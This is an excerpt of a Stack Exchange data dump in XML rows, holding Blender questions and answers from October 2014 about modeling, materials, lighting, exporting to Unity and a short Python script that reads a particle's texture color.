  <row Id="18207" PostTypeId="2" ParentId="18202" CreationDate="2014-10-26T06:24:14.317" Score="2" Body="&lt;p&gt;What username:cegaton shows is part 2 of how this issue can be dealt with.(this may be helpful for adjusting the curve before extrusion)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The folowwing image shows a &lt;em&gt;Curve&lt;/em&gt; before &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;c&lt;/kbd&gt; was used to convert the curve to a mesh object.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lg0U7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To adjust a mesh's curvature, you can use proportional editing.  There are several math function options available for doing this and they are shown using the popup dialogue.  The default setting often works well.  &lt;em&gt;Proportional Editing&lt;/em&gt; can either be activated using the &lt;kbd&gt;o&lt;/kbd&gt; key or by clicking the icon shown in the following image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jGX1i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Proportional Editing&lt;/em&gt; tool has a fallof radius that is shown on the screen as a white circle that can be re-sized either useing the &lt;kbd&gt;Page_UP&lt;/kbd&gt;, &lt;kbd&gt;Page_Down&lt;/kbd&gt; or the mouse wheel as shown in the following animating .gif that was made with a program named LICEcap &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lteii.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I would do what cegaton has shown in the answer posted previous to this one.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-10-26T09:20:15.807" LastActivityDate="2014-10-26T09:20:15.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18208" PostTypeId="1" CreationDate="2014-10-26T07:00:26.577" Score="4" ViewCount="193" Body="&lt;p&gt;If you create an object, then subdivide it (&lt;kbd&gt;ctrl&lt;/kbd&gt; +  &lt;kbd&gt;r&lt;/kbd&gt;), how can you later add more loop subdivides?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I try and add more loop cuts, the are confined to only a portion of the cube. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SmIyu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q4Ils.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1026" LastEditorUserId="1026" LastEditDate="2014-10-26T07:29:50.733" LastActivityDate="2014-10-26T07:30:43.107" Title="Can you add more loop subdivides later?" Tags="&lt;editing&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18209" PostTypeId="2" ParentId="18208" CreationDate="2014-10-26T07:15:29.297" Score="1" Body="&lt;p&gt;I don't know if there is a better way of doing it, but you could try selecting the edges from the original loop cut and using limited dissolve (press x, click limited dissolve) and re-doing the loop cut after.  might need to use a different dissolve option.  Again, just a quick thought...there may be a better way&lt;/p&gt;&#xA;" OwnerUserId="6342" LastActivityDate="2014-10-26T07:15:29.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18210" PostTypeId="2" ParentId="18208" CreationDate="2014-10-26T07:30:43.107" Score="3" Body="&lt;p&gt;Yes and no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you can do is this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to edge select mode (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select an edge ring (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Multi select edge loops (Fastest to access via the &lt;kbd&gt;Space&lt;/kbd&gt; menu)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Subdivide&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qJE0Z.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this only lets you double the number of existing loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without deleting loops/other manual tricks, I don't think there is currently a way of getting a precise number of evenly distributed loops, especially on more complex objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/q/7850/599&quot;&gt;Is there any way to edit parameters for an object after it is created?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-10-26T07:30:43.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18211" PostTypeId="2" ParentId="13513" CreationDate="2014-10-26T08:47:06.890" Score="4" Body="&lt;p&gt;As far as I know there is no simple way to get the color of a particle. In the case you have an object with UV's and 1 image texture defining the color you should be able to get the color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following example is for BI and assumes you only have 1 UV map, the texture is in slot 1 and there is only 1 particle system and 1 modifier (the modifier for the particle system) on the object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Color&#xA;&#xA;def get_pixel_color(img, x, y):&#xA;    # Get the 'index' of the pixel. Pixels are stored as one big list of&#xA;    # numbers. The R, G, B and A value for every pixel, one after the other.&#xA;    pixel_i = y * img.size[0] * 4 + x * 4&#xA;    pixel_col = img.pixels[pixel_i:pixel_i + 4]&#xA;    # Return the color as Color object, which doesn't have alpha info.&#xA;    return Color((pixel_col[:-1]))&#xA;&#xA;def get_uv_color(img, uv):&#xA;    # Get the x and y coordinates of the pixel for the given uv coordinate.&#xA;    pixel_x = int(uv.x * img.size[0])&#xA;    pixel_y = int(uv.y * img.size[1])&#xA;    uv_col = get_pixel_color(img, pixel_x, pixel_y)&#xA;    return uv_col&#xA;&#xA;def get_particle_color(p, ps, ps_mod):&#xA;    p_uv = ps.uv_on_emitter(ps_mod, p)&#xA;    p_mat = bpy.data.materials[ps.settings.material_slot]&#xA;    p_mat_tex = p_mat.texture_slots[0].texture&#xA;    p_mat_img = p_mat_tex.image&#xA;    p_col = get_uv_color(p_mat_img, p_uv)&#xA;    return p_col&#xA;&#xA;obj = bpy.context.object       # The object with the particle system&#xA;ps = obj.particle_systems[0]   # The particle system you need to query&#xA;ps_mod = obj.modifiers[0]      # The modifier for the particle system&#xA;p = ps.particles[0]            # The first particle&#xA;&#xA;p_col = get_particle_color(p, ps, ps_mod)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For Cycles (assuming that there is only 1 Image Texture node in the Shading Node Tree) you should change the &lt;code&gt;get_particle_color&lt;/code&gt; function. The statement for &lt;code&gt;p_mat_tex&lt;/code&gt; should be changed to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p_mat_tex = p_mat.node_tree.nodes['Image Texture']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="668" LastEditorUserId="668" LastEditDate="2014-10-26T18:36:18.477" LastActivityDate="2014-10-26T18:36:18.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18212" PostTypeId="1" AcceptedAnswerId="18213" CreationDate="2014-10-26T08:59:03.307" Score="2" ViewCount="1419" Body="&lt;p&gt;I'm new to blender but I'm trying to add eyebrows etc onto a mask I've created. The problem is following videos when going onto materials they get options such as specular and diffuse all in separate tabs when they create a material. I don't. I do when I create a new blender and with the cube selecting materials I get all of those different drop down tabs so it's not a version issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with my mask at the moment under materials I only get - diffuse, surface, volume, displacement  and it also doesn't display the color I select onto my object.  I know its a probably a silly little thing I've done but I can't figure it out. &lt;/p&gt;&#xA;" OwnerUserId="6381" LastEditorUserId="599" LastEditDate="2014-10-26T09:06:05.157" LastActivityDate="2014-10-26T09:06:05.157" Title="Material sidebar isn't displaying default options" Tags="&lt;rendering&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18213" PostTypeId="2" ParentId="18212" CreationDate="2014-10-26T09:03:01.463" Score="3" Body="&lt;p&gt;Sounds like the render engine is set to &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles&lt;/a&gt;&lt;/em&gt;, but the tutorial is using &lt;em&gt;Blender Internal&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the render engine in the &lt;em&gt;info header&lt;/em&gt; at the top of the window:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XTAo2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-26T09:03:01.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18214" PostTypeId="1" CreationDate="2014-10-26T09:53:28.153" Score="1" ViewCount="350" Body="&lt;p&gt;This link is from the goosebery project site: &lt;a href=&quot;http://gooseberry.blender.org/wp-content/uploads/2014/10/By4XQI3CEAEZUZ4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://gooseberry.blender.org/wp-content/uploads/2014/10/By4XQI3CEAEZUZ4.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fDBod.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas of what UI theme is this?&lt;/p&gt;&#xA;" OwnerUserId="7691" LastEditorUserId="599" LastEditDate="2014-10-30T06:33:13.553" LastActivityDate="2015-01-30T10:09:36.917" Title="What is this grey theme seen on the gooseberry website?" Tags="&lt;interface&gt;&lt;theme&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-01-30T10:13:40.837" ContentLicense="CC BY-SA 3.0" />
  <row Id="18218" PostTypeId="1" CreationDate="2014-10-26T16:09:41.270" Score="5" ViewCount="27309" Body="&lt;p&gt;When exporting models from Blender into Unity one must take into account the handedness of both programs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender considers Z vector as the UP vector, but Unity considers the Y vector as the UP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you want a model who is facing up in Blender (along Z) to be facing up in Unity (along Y) when imported, people recommend this simple fix:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;model your 3D model in Blender along the Y axis and apply the necessary rotation onto the model. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L5MT1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when working in Blender if you want to use Z as the UP vector, you simply transform your model by a positive 90 degree rotation around X (but don't apply the rotation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WNcVd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I export my model using Blenders built-in FBX exporter with the default settings (UP = Y axis and FORWARD = -Z axis).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When imported into Unity, my model is facing upwards as expected along the Y axis.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0v9qk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, what I don't understand is why my model is also rotated 180 degrees around the Y axis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first image from Blender you can see that my cup handle pointed along the x axis aka right, but now is facing left (-X direction). &lt;/p&gt;&#xA;" OwnerUserId="5898" LastEditorUserId="10946" LastEditDate="2016-10-17T19:09:46.923" LastActivityDate="2020-08-08T23:50:01.243" Title="Set the correct orientation when exporting from Blender to Unity" Tags="&lt;export&gt;&lt;transforms&gt;&lt;unity&gt;" AnswerCount="6" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18219" PostTypeId="1" AcceptedAnswerId="18340" CreationDate="2014-10-26T16:46:11.070" Score="6" ViewCount="1554" Body="&lt;p&gt;I was working on a Minecraft animation and was thinking about implementing a large battle with around 200 units on each side. What is the best way to go about animating a large crowd like this?&lt;/p&gt;&#xA;" OwnerUserId="7565" LastEditorUserId="7565" LastEditDate="2018-04-25T19:34:14.437" LastActivityDate="2018-04-25T19:34:14.437" Title="What is the best way to set up crowd animations?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18220" PostTypeId="1" CreationDate="2014-10-26T17:21:28.253" Score="1" ViewCount="867" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PpzkB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PpzkB.jpg&quot; alt=&quot;material nodes&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;I'm trying to make an island in blender. I went over to textures and made one texture I called sand, and one texture I called dirt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, as I'm blending dirt and sand together, the sand overlaps the dirt (there is much more sand than there is dirt) Anybody know why this is or/ and have a solution to it? It looks kinda like the picture above on the left.&lt;/p&gt;&#xA;" OwnerUserId="7699" LastEditorUserId="2217" LastEditDate="2014-10-26T20:04:40.830" LastActivityDate="2014-10-26T20:04:40.830" Title="Blending two textures together" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18223" PostTypeId="1" AcceptedAnswerId="18224" CreationDate="2014-10-26T19:12:02.883" Score="5" ViewCount="15509" Body="&lt;p&gt;Can I have a not too dark scene in Cycles at Startup?&#xA;Because I'm not so good at lighting. Two I don't want to mess with it every time. Three I want to have a Quick Way of seeing how my model looks in Cycles.&lt;br&gt;&#xA;The lighting Setup at start is great in programs like Keyshot and Marmoset Toolbag; you can load every model in it and it will look good from the start.&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="599" LastEditDate="2014-10-26T20:09:22.253" LastActivityDate="2014-10-26T20:09:22.253" Title="What is the easiest way to have a default &quot;Good&quot; lighting setup for cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18224" PostTypeId="2" ParentId="18223" CreationDate="2014-10-26T19:22:07.710" Score="8" Body="&lt;p&gt;I usually keep some generic lights on a hidden layer in my default .blend, so I can just enable that layer to get an instant light setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Open a new file (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create your light setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/inRKv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some &lt;a href=&quot;http://www.blenderguru.com/articles/6-tips-for-better-lighting/&quot; rel=&quot;noreferrer&quot;&gt;good tips on lighting&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also some nice &lt;a href=&quot;http://www.blendernation.com/2014/08/12/studio-lighting-setup-cycles/&quot; rel=&quot;noreferrer&quot;&gt;light setups in the community&lt;/a&gt; if you don't want to make your own.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Move the lights to another layer (&lt;kbd&gt;M&lt;/kbd&gt;), then save the startup .blend (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will save the current file as how blender will start up by default, so make sure everything is how you want it (visible layers, selected objects, view orientation, etc.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another thing you can do is use HDR/environment lighting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try &lt;a href=&quot;http://www.blendernation.com/2014/10/03/blightstudio-adds-easy-hdr-light-setup/&quot; rel=&quot;noreferrer&quot;&gt;this addon&lt;/a&gt;, or use HDR panoramas such as &lt;a href=&quot;http://adaptivesamples.com/category/hdr-panos/&quot; rel=&quot;noreferrer&quot;&gt;these&lt;/a&gt; as environment textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, add a HDR environment texture to the world surface (1) and (2) (it doesn't matter whether you add it in the node editor or the properties editor). There are no lamps in the image below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ffeyi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also remember to enable &lt;em&gt;Multiple importance sample&lt;/em&gt; (3) when using environment textures, otherwise you will probably get a lot of noise.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-26T20:07:03.010" LastActivityDate="2014-10-26T20:07:03.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18227" PostTypeId="1" AcceptedAnswerId="18230" CreationDate="2014-10-26T23:17:10.230" Score="4" ViewCount="976" Body="&lt;p&gt;I have set up two planes, one in front of another, and I want to see the back plane through the alpha channel of the front plane.  In the node editor I use the render results as input to a key node so that the green screen is turned into alpha, but it appears that it's only transparent to the plane itself.  Have I reached the limits of Blender?!!  Is there a way to do this?  (see screen shot).&#xA;&lt;img src=&quot;https://4.bp.blogspot.com/-3SyHD7eqBCA/VE2DPrgqMCI/AAAAAAAARRM/XpUVtmjg_SI/s1600/Blender%2B%5BCUsersJameyVideosMusicVideoProjectsSongsRed%2BRubber%2BBallRedRubberBall_4.blend%5D%2B10262014%2B55437%2BPM.bmp.jpg&quot; alt=&quot;double plane example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7702" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.690" LastActivityDate="2014-10-26T23:49:17.060" Title="Viewing background through alpha channel of foreground object" Tags="&lt;transparency&gt;&lt;node-editor&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18228" PostTypeId="1" AcceptedAnswerId="18255" CreationDate="2014-10-26T23:34:14.030" Score="4" ViewCount="1476" Body="&lt;p&gt;After posting &lt;a href=&quot;https://blender.stackexchange.com/a/18162/2217&quot;&gt;this&lt;/a&gt; answer, I was told that I should of set the &lt;em&gt;Color Space&lt;/em&gt; to &lt;em&gt;non-color&lt;/em&gt;. Hence my question, what is the purpose of the &lt;em&gt;Color Space&lt;/em&gt; on image texture nodes in cycles? I have not set any of my image texture nodes to &lt;em&gt;Non-Color Data&lt;/em&gt; and have not noticed any side effects.&lt;br&gt;&#xA;The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Textures#Image_Texture&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender wiki&lt;/a&gt; is not too clear on the purpose.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For most color textures the default of Color should be used, but in case of e.g. a bump or alpha map, the pixel values should be interpreted as Non-Color Data, to avoid doing any unwanted color space conversions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-10-27T17:54:58.333" Title="What is the purpose of the &quot;Color Space&quot; on image texture nodes?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18229" PostTypeId="2" ParentId="18227" CreationDate="2014-10-26T23:35:24.200" Score="1" Body="&lt;p&gt;There are a couple ways you could do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way would be to use images in the compositor instead of planes, or use separate renderlayers if you still want to use planes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace the green with alpha, then use an &lt;em&gt;alpha over&lt;/em&gt; node to combine it with the background image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/w23eY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/w23eY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-26T23:42:05.483" LastActivityDate="2014-10-26T23:42:05.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18230" PostTypeId="2" ParentId="18227" CreationDate="2014-10-26T23:49:17.060" Score="2" Body="&lt;p&gt;If you want the planes to be in 3D space, then you could try using a material like this on the plane with the green screen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R6aqJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This mixes between a transparent shader and a emission shader based on the difference between the the second color input of the mix node and the pixels in the image. Pixels which are within a &lt;code&gt;.07&lt;/code&gt; tolerance of the green color in the mix node will be transparent, other pixels will be opaque. &lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-26T23:49:17.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18232" PostTypeId="1" AcceptedAnswerId="18236" CreationDate="2014-10-27T00:14:01.810" Score="4" ViewCount="2668" Body="&lt;p&gt;I made an animation by keying every bone in the rig on every keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have a lot of extra keyframes, as some bones didn't move at all, remaining the same for all keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to delete these extra keyframes automatically?&#xA;And are there any &quot;good practices&quot; to help prevent this happening? &lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2020-04-20T14:33:52.003" Title="Is there a way to delete unneeded keyframes automatically?" Tags="&lt;animation&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18233" PostTypeId="2" ParentId="5822" CreationDate="2014-10-27T02:12:05.840" Score="5" Body="&lt;p&gt;If you want multiple fluid sims create the first sim and bake it having specified a directory to cache. Now remove the fluid domain modifier from the first cube. Create your second sim, specify a new cache directory and bake. Repeat, disabling each domain except the one you are baking. You can set parameters different for each sim. When you have all 4 sims baked, go back and re-enable the Domain status so all four domains exist and be sure to specify which directory they will read from. To start them at different times, adjust the offset.  To delay 100 frames, set the offset to -100. The fluids won't interact, but you can have them all running at once, you just can't bake them all with more than one domain present.&lt;/p&gt;&#xA;" OwnerUserId="7703" LastActivityDate="2014-10-27T02:12:05.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18234" PostTypeId="2" ParentId="18047" CreationDate="2014-10-27T02:25:39.000" Score="0" Body="&lt;p&gt;I think you would need multiple particle systems with each firing at the desired frame. Set each one for the object you want for that particle system. If it set to start and stop on frame 10, only one object will emit at 10.  You just need to time the emitter so it comes out right.  You can fine tune the frame to 3 decimal places.&lt;/p&gt;&#xA;" OwnerUserId="7703" LastActivityDate="2014-10-27T02:25:39.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18235" PostTypeId="1" CreationDate="2014-10-27T02:44:34.373" Score="2" ViewCount="513" Body="&lt;p&gt;I want to have an object come out of a surface as if the surface is a portal or something similar, like Mary Poppins' bag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish this. My method was to surround the object with a boolean difference box and animate it moving out of the box. However, this has some rendering glitches when I try to animate it.&lt;/p&gt;&#xA;" OwnerUserId="7704" LastEditorUserId="2217" LastEditDate="2014-10-27T03:32:56.523" LastActivityDate="2014-10-27T07:09:38.877" Title="How can I make an object appear or emerge from a flat surface?" Tags="&lt;modeling&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18236" PostTypeId="2" ParentId="18232" CreationDate="2014-10-27T03:28:25.587" Score="7" Body="&lt;p&gt;Yes you can. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Dope Sheet, select all channels by pressing &lt;kbd&gt;A&lt;/kbd&gt; while hovering over the list of channels, then press &lt;kbd&gt;O&lt;/kbd&gt;. All unnecessary keyframes will be erased.&lt;/p&gt;&#xA;" OwnerUserId="7706" LastEditorUserId="599" LastEditDate="2014-10-27T06:37:34.653" LastActivityDate="2014-10-27T06:37:34.653" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18237" PostTypeId="1" AcceptedAnswerId="18239" CreationDate="2014-10-27T04:51:13.587" Score="2" ViewCount="807" Body="&lt;p&gt;I'm new to Blender and running against a deadline!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I create dynamically with &lt;strong&gt;nodes&lt;/strong&gt; a &lt;strong&gt;texture&lt;/strong&gt; made up by a &lt;strong&gt;video&lt;/strong&gt; with pixels &lt;strong&gt;cut out using a checkerboard pattern&lt;/strong&gt;. When I say cut out I mean leaving pixels with transparency there and other pixels with RGB colors from the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just RGB colors have to became checkerboard-cut, &lt;strong&gt;no the transparent background&lt;/strong&gt;. The &lt;strong&gt;video is RGBA&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot use too much subsurf and particles because my GPU is dead now :( , and the only combination of video texture over plane + subsurf + explode + particles that suits my needs depends on this node-generated texture that improves critically the performance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my goal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/fKKq3wL.png&quot; alt=&quot;video + plane + subsurf + explode + checkerboarded cut out&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7686" LastEditorUserId="599" LastEditDate="2014-10-27T06:11:17.370" LastActivityDate="2014-10-27T06:11:17.370" Title="Use nodes to generate a texture of an image cut out with a checkerboard" Tags="&lt;texturing&gt;&lt;blender-internal-render-engine&gt;&lt;video&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18238" PostTypeId="1" AcceptedAnswerId="18240" CreationDate="2014-10-27T05:52:22.103" Score="3" ViewCount="439" Body="&lt;p&gt;If you encounter an unexpected object in your blender file, how would you delete it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, there is a mysterious egg shape object that I didn't notice until now because it was covered by a plane. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/godn8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't select the object since it appears to be part of another object. &#xA;I can't press &lt;kbd&gt;P&lt;/kbd&gt; to try and separate the object by selection because blender warns 'no object selected'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea where this shape came from, nor how to get rid of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/460997/Blender/quarter-ring%20copy.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender File&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1026" LastEditorUserId="599" LastEditDate="2014-10-27T06:12:54.233" LastActivityDate="2014-10-27T06:12:54.233" Title="How do you delete a mystery object?" Tags="&lt;modeling&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
